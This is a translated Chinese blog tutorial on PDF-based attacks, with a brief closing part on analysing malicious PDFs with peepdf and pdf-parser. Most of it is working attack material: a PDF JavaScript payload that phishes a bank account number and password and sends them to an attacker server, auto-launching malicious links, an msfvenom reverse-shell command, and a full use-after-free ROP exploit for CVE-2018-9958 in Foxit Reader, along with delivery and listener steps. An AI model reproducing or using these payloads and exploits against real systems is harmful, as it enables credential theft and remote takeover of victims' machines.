「使用 PDF 作为攻击载体」进行多重攻击

805 阅读9分钟

Hacking With PDF

原文链接:0xcybery.github.io/blog/hackin…

原文作者:Abdullah Baghuth

译者:菜小鸟魔王

01 Introduction

在研究如何将 PDF 用作攻击载体时,我翻阅了众多资料,虽然获取到了许多有价值的信息,但若对 PDF 的底层结构缺乏了解,该研究🧐将举步维艰。于是,我决定深入研究 PDF 的构造结构。这一过程让我意识到,PDF 不仅能作为攻击载体,还能通过一系列连锁反应,对攻击目标进行多重攻击。

02 Write a PDF file

要想创建一个 PDF 文件,首先得熟悉其底层结构。为此,我推荐阅读《Let’s write a PDF file》来入门 PDF 文件格式的基础知识。

03 PDF Injection

弹出⏏️的对话框(Popup Windows (dialogs))是 Acrobat 交互功能的重要组件。该组件用于向用户展示错误信息提醒、警告以及其他重要信息,还能会向用户提问并收集输入信息。Acrobat 提供了多种预设的Popup Windows(如警告框(alert)、响应框(response)和文件打开框(file open)),同时也支持自定义对话框的创建。

接下来,我将演示如何进行 PDF injection 攻击,弹出 “alert(1)” 提示框,并进一步改进 PDF injection 攻击技术,以便嵌入能够窃取用户信息和打开恶意链接的 JavaScript 代码。

我们可以在 PDF 中像执行 XSS 攻击一样,在 JavaScript 的函数调用(function call)中注入攻击代码。通常在进行 XSS 攻击时,需要确保代码语法正确无误,PDF injection 攻击也遵循这一原则,只不过注入点位于 javascript 、text stream 或 annotation URI 等对象内部。

3.1 XSS

进行 XSS 攻击时,我们需要在 javascript 对象中注入攻击代码,并留意确保括号正确配对。如果 PDF 文件能够无误地正常显示,那就说明注入成功了。然而,仅仅往 PDF 文件中注入攻击代码并不够,我们的目标是确保 JavaScript 代码能够被执行。我向PDF文件注入了如下 JavaScript 代码,执行一次弹出警告框的 XSS 攻击。

警告框 Alert Box

app.alert() 函数用于向受害者弹出一个警告框⚠️。

<<
/Type /Action
/S /JavaScript
/JS (app.alert('XSS');)
>>

打开 PDF 文件时,会弹出警告框。

如果各位读者觉得手动注入该 js 脚本有些困难,可以使用 JS2PDFInjector 工具。

窃取用户信息 Stealing Credentials

许多银行会定期发送带有客户账号和密码保护的对账单。如果客户不慎落入钓鱼陷阱,他们的账户信息就可能被盗取。

下面展示攻击者如何利用提交表单的方式窃取账户信息,并将其传送至自己的服务器。

app.response() 函数的第一个参数显示响应框(Response Box)体内显示的文本。这是标准的使用方式,但响应框也可以在没有输入参数的情况下调用,因为它总会显示一个文本输入框。用户在框中输入文本后,如果点击“确定”按钮关闭对话框,这些文本就会赋值给 account 变量。如果用户点击“取消”按钮,则account变量将为空,这一点同样适用于第二个参数。

cURL 变量由服务器地址与从受害者处获取的账号和密码拼接而成,然后通过submitForm()函数将这些信息提交给攻击者的服务器。

<<
/Type /Action
/S /JavaScript
/JS
(
var account = app.response ({ cQuestion:"Enter your Bank Account Number", cTitle:"Bank Account Details", bPassword:false, cDefault: global.cLastPswd, cLabel:"A/C"}); 
var password = app.response ({ cQuestion:"Enter your Bank Account Passowrd", cTitle:"Bank Account Details", bPassword:true, cDefault: global.cLastPswd, cLabel:"Password"});
var cURL = "http://192.168.1.10:443" + "?" + "account=" + account + "&password=" + password;
this.submitForm({cURL: encodeURI(cURL), cSubmitAs: 'HTML'});
)
>>

3.2 触发恶意链接

攻击者能够在 PDF 文档中植入恶意网址,一旦受害者打开该 PDF,便会弹出安全警告信息。如果该链接看起来没有问题,受害者可能会点击“允许”,从而不小心打开了该恶意网站。

通过 URI 方法,攻击者可以在 PDF 文档打开的同时打开链接,这一功能可能被攻击者利用,用以启动恶意链接。

<<
/Type /Action
/S /URI
/URI (https://twitter.com/0xCyberY)
>>

同样,也可以使用 javascript 对象中的 app.launchURL() 函数。

<<
/Type /Action
/S /JavaScript
/JS
(
app.launchURL("https://twitter.com/0xCyberY", true);
)
>>

04 RCE

使用旧版的 PDF 阅读器或向 PDF 中嵌入可执行文件可能会引发远程代码执行攻击(remote code execution)的风险。在下面的演示中,我们将使用 CVE-2018-9958 漏洞来针对 9.0.1.1049 版本的 Foxit Reader 进行攻击。

首先,我们需要从 exploit-db 网站下载攻击脚本。 接着,使用以下命令生成可执行的 payload :msfvenom -p windows/shell_reverse_tcp -f exe LHOST=192.168.1.10 LPORT=443 -o shell.exe。 然后,执行以下命令生成 PDF 文件:python3 49116.py \\192.168.1.10\\share\shell.exe remote_code_exe.pdf。 该攻击脚本会创建一个嵌入 javascript payload 的空白PDF,看起来十分可疑,可能会引起受害者的警觉。为了避免这种情况,我们将攻击代码注入到一个含有内容的 PDF 中,以降低被察觉的风险。

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        
        //Path to executable

	rop[0x0c] = 0x39315c5c;
	rop[0x0d] = 0x36312e32;
	rop[0x0e] = 0x2e312e38;
	rop[0x0f] = 0x735c3031;
	rop[0x10] = 0x65726168;
	rop[0x11] = 0x6568735c;
	rop[0x12] = 0x652e6c6c;
	rop[0x13] = 0x00006578;
	rop[0x14] = 0x00000000;
	rop[0x15] = 0x00000000;
	rop[0x16] = 0x00000000;
        
        //End Path to executable

        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

请注意,以下代码可能根据您的可执行文件路径不同而有所差异。

在PDF打开之际,会发起一个请求,将在共享的 SMB 文件夹中运行 shell.exe 文件。当 shell.exe 开始执行,它将会向攻击者回连一个反向shell。

接下来需要将含有恶意代码的 PDF 文件发送给目标受害者。

  • 确定存放shell.exe文件的 SMB 共享文件夹位置。
  • 在 443 端口设置 netcat 监听器。
  • 最后,用Foxit Reader打开该PDF文件。

Note:

javascript code can be encode to hex example:

app.alert(‘XSS’); = <6170702e616c657274282758535327293b>

05 分析带有恶意代码的 PDF 文档

具备红队的能力,能够运用多种手法通过 PDF 实施攻击,这自然是非常厉害的;但若还能拥有蓝队的技能,那就更上一层楼了。这样,我们不仅能发起攻击,还能掌握防御策略,并懂得如何对这些恶意文件进行深入分析。

本文将展示如何使用 peepdf、pdf-parser 和 pestudio 等工具分析 PDF。

  1. Peepdf

现在,我们就以 bank_statement.pdf 文件为例,着手分析它是否含有恶意代码。

我们可以观察到,在对象[3]中存在一个包含 javascript 代码的对象。

为了导出这个对象,我们可以利用一个名为 pdf-parser 的工具来进行操作。

  1. pdf-parser

现在我们已经知道了文件名和对象编号,就可以将它们作为参数传递给 pdf-parser 工具。

使用 pdf-parser 时,有许多参数可供各位读者自行发掘,例如使用 -f 参数来通过过滤器(filters)并处理流对象(stream object),或是使用 -d 参数将流内容输出到文件。

You can get all PDFs used in this article Here

References